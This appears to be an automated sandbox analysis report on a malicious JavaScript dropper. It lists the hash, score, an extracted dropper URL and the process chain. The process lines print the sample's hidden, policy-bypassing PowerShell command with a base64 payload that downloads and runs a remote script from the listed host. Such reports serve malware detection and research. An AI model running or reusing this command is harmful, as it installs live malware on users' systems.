Analysis
- max time kernel
0s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
- submitted
07/01/2024, 19:23
General
- Target ad69151c4fed441199e1e3d1595c3696.js
- Size 74KB
- Sample240107-x3rfladcd7
- SHA256 83613c9a0fb40086e08802a137b5f7a57b148e16d6e271cd85a6dd640589bc20
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ad69151c4fed441199e1e3d1595c3696.js1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ancjkmtt.eyx.ps1
memory/4540-10-0x000001C17EF60000-0x000001C17EF82000-memory.dmp
memory/4540-13-0x000001C17EEA0000-0x000001C17EEB0000-memory.dmp
memory/4540-12-0x000001C17EEA0000-0x000001C17EEB0000-memory.dmp
memory/4540-11-0x00007FF8C5550000-0x00007FF8C6011000-memory.dmp
memory/4540-14-0x000001C17EEA0000-0x000001C17EEB0000-memory.dmp
memory/4540-18-0x00007FF8C5550000-0x00007FF8C6011000-memory.dmp
memory/4540-15-0x000001C17EEA0000-0x000001C17EEB0000-memory.dmp